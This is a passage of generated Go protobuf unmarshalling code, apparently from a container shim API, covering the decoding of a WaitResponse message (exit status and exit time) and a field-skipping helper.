} 5148 | if iNdEx >= l { 5149 | return io.ErrUnexpectedEOF 5150 | } 5151 | b := dAtA[iNdEx] 5152 | iNdEx++ 5153 | stringLen |= uint64(b&0x7F) << shift 5154 | if b < 0x80 { 5155 | break 5156 | } 5157 | } 5158 | intStringLen := int(stringLen) 5159 | if intStringLen < 0 { 5160 | return ErrInvalidLengthShim 5161 | } 5162 | postIndex := iNdEx + intStringLen 5163 | if postIndex < 0 { 5164 | return ErrInvalidLengthShim 5165 | } 5166 | if postIndex > l { 5167 | return io.ErrUnexpectedEOF 5168 | } 5169 | m.ID = string(dAtA[iNdEx:postIndex]) 5170 | iNdEx = postIndex 5171 | default: 5172 | iNdEx = preIndex 5173 | skippy, err := skipShim(dAtA[iNdEx:]) 5174 | if err != nil { 5175 | return err 5176 | } 5177 | if skippy < 0 { 5178 | return ErrInvalidLengthShim 5179 | } 5180 | if (iNdEx + skippy) < 0 { 5181 | return ErrInvalidLengthShim 5182 | } 5183 | if (iNdEx + skippy) > l { 5184 | return io.ErrUnexpectedEOF 5185 | } 5186 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 5187 | iNdEx += skippy 5188 | } 5189 | } 5190 | 5191 | if iNdEx > l { 5192 | return io.ErrUnexpectedEOF 5193 | } 5194 | return nil 5195 | } 5196 | func (m *WaitResponse) Unmarshal(dAtA []byte) error { 5197 | l := len(dAtA) 5198 | iNdEx := 0 5199 | for iNdEx < l { 5200 | preIndex := iNdEx 5201 | var wire uint64 5202 | for shift := uint(0); ; shift += 7 { 5203 | if shift >= 64 { 5204 | return ErrIntOverflowShim 5205 | } 5206 | if iNdEx >= l { 5207 | return io.ErrUnexpectedEOF 5208 | } 5209 | b := dAtA[iNdEx] 5210 | iNdEx++ 5211 | wire |= uint64(b&0x7F) << shift 5212 | if b < 0x80 { 5213 | break 5214 | } 5215 | } 5216 | fieldNum := int32(wire >> 3) 5217 | wireType := int(wire & 0x7) 5218 | if wireType == 4 { 5219 | return fmt.Errorf("proto: WaitResponse: wiretype end group for non-group") 5220 | } 5221 | if fieldNum <= 0 { 5222 | return fmt.Errorf("proto: WaitResponse: illegal tag %d (wire type %d)", fieldNum, wire) 5223 | } 5224 | switch fieldNum { 5225 | case 1: 5226 | if wireType != 0 { 5227 | return fmt.Errorf("proto: wrong wireType = %d for field ExitStatus", wireType) 5228 | } 5229 | m.ExitStatus = 0 5230 | for shift := uint(0); ; shift += 7 { 5231 | if shift >= 64 { 5232 | return ErrIntOverflowShim 5233 | } 5234 | if iNdEx >= l { 5235 | return io.ErrUnexpectedEOF 5236 | } 5237 | b := dAtA[iNdEx] 5238 | iNdEx++ 5239 | m.ExitStatus |= uint32(b&0x7F) << shift 5240 | if b < 0x80 { 5241 | break 5242 | } 5243 | } 5244 | case 2: 5245 | if wireType != 2 { 5246 | return fmt.Errorf("proto: wrong wireType = %d for field ExitedAt", wireType) 5247 | } 5248 | var msglen int 5249 | for shift := uint(0); ; shift += 7 { 5250 | if shift >= 64 { 5251 | return ErrIntOverflowShim 5252 | } 5253 | if iNdEx >= l { 5254 | return io.ErrUnexpectedEOF 5255 | } 5256 | b := dAtA[iNdEx] 5257 | iNdEx++ 5258 | msglen |= int(b&0x7F) << shift 5259 | if b < 0x80 { 5260 | break 5261 | } 5262 | } 5263 | if msglen < 0 { 5264 | return ErrInvalidLengthShim 5265 | } 5266 | postIndex := iNdEx + msglen 5267 | if postIndex < 0 { 5268 | return ErrInvalidLengthShim 5269 | } 5270 | if postIndex > l { 5271 | return io.ErrUnexpectedEOF 5272 | } 5273 | if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.ExitedAt, dAtA[iNdEx:postIndex]); err != nil { 5274 | return err 5275 | } 5276 | iNdEx = postIndex 5277 | default: 5278 | iNdEx = preIndex 5279 | skippy, err := skipShim(dAtA[iNdEx:]) 5280 | if err != nil { 5281 | return err 5282 | } 5283 | if skippy < 0 { 5284 | return ErrInvalidLengthShim 5285 | } 5286 | if (iNdEx + skippy) < 0 { 5287 | return ErrInvalidLengthShim 5288 | } 5289 | if (iNdEx + skippy) > l { 5290 | return io.ErrUnexpectedEOF 5291 | } 5292 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 5293 | iNdEx += skippy 5294 | } 5295 | } 5296 | 5297 | if iNdEx > l { 5298 | return io.ErrUnexpectedEOF 5299 | } 5300 | return nil 5301 | } 5302 | func skipShim(dAtA []byte) (n int, err error) { 5303 | l := len(dAtA) 5304 | iNdEx := 0 5305 | for iNdEx < l { 5306 | var wire uint64 5307 | for shift := uint(0); ; shift += 7 { 5308 | if shift >= 64 { 5309 | return 0, ErrIntOverflowShim 5310 | } 5311 | if iNdEx >= l { 5312 | return 0, io.ErrUnexpectedEOF 5313 | } 5314 | b := dAtA[iNdEx] 5315 | iNdEx++ 5316 | wire |= (uint64(b) & 0x7F) << shift 5317 | if b < 0x80 { 5318 | break 5319 | } 5320 | } 5321 | wireType := int(wire & 0x7) 5322 | switch wireType { 5323 | case 0: 5324 | for shift := uint(0); ; shift += 7 { 5325 | if shift >= 64 { 5326 | return 0, ErrIntOverflowShim 5327 | } 5328 | if iNdEx >= l { 5329 | return 0, io.ErrUnexpectedEOF 5330 | } 5331 | iNdEx++ 5332 | if dAtA[iNdEx-1] < 0x80 { 5333 | break 5334 | } 5335 | } 5336 | return iNdEx, nil 5337 | case 1: 5338 | iNdEx += 8 5339 | return iNdEx, nil 5340 | case 2: 5341 | var length int 5342 | for shift := uint(0); ; shift += 7 { 5343 | if shift >= 64 { 5344 | return 0, ErrIntOverflowShim 5345 | } 5346 | if iNdEx >= l { 5347 | return 0, io.ErrUnexpectedEOF 5348 | } 5349 | b := dAtA[iNdEx] 5350 | iNdEx++ 5351 | length |= (int(b) & 0x7F) << shift 5352 | if b < 0x80 { 5353 | break 5354 | } 5355 | } 5356 | if length < 0 { 5357 | return 0, ErrInvalidLengthShim 5358 | } 5359 | iNdEx += length 5360 | if iNdEx < 0 { 5361 | return 0, ErrInvalidLengthShim 5362 | } 5363 | return iNdEx, nil 5364 | case 3: 5365 | for { 5366 | var innerWire uint64 5367 | var start int = iNdEx 5368 | for shift := uint(0); ; shift += 7 { 5369 | if shift >= 64 { 5370 | return 0, ErrIntOverflowShim 5371 | } 5372 | if iNdEx >= l { 5373 | return 0, io.ErrUnexpectedEOF 5374 | } 5375 | b := dAtA[iNdEx] 5376 | iNdEx++ 5377 | innerWire |= (uint64(b) & 0x7F) << shift 5378 | if b < 0x80 { 5379 | break 5380 | } 5381 | } 5382 | innerWireType := int(innerWire & 0x7) 5383 | if innerWireType == 4 { 5384 | break 5385 | } 5386 | next, err := skipShim(dAtA[start:]) 5387 | if err != nil { 5388 | return 0, err 5389 | } 5390 | iNdEx = start + next 5391 | if iNdEx < 0 { 5392 | return 0, ErrInvalidLengthShim 5393 | } 5394 | } 5395 | return iNdEx, nil 5396 | case 4: 5397 | return iNdEx, nil 5398 | case 5: 5399 | iNdEx += 4 5400 | return iNdEx, nil 5401 | default: 5402 | return 0, fmt.Errorf("proto: illegal wireType %d", wireType) 5403 | } 5404 | } 5405 | panic("unreachable") 5406 | } 5407 | 5408 | var ( 5409 | ErrInvalidLengthShim = fmt.Errorf("proto: negative length found during unmarshaling") 5410 | ErrIntOverflowShim = fmt.Errorf("proto: integer overflow") 5411 | ) 5412 | --------------------------------------------------------------------------------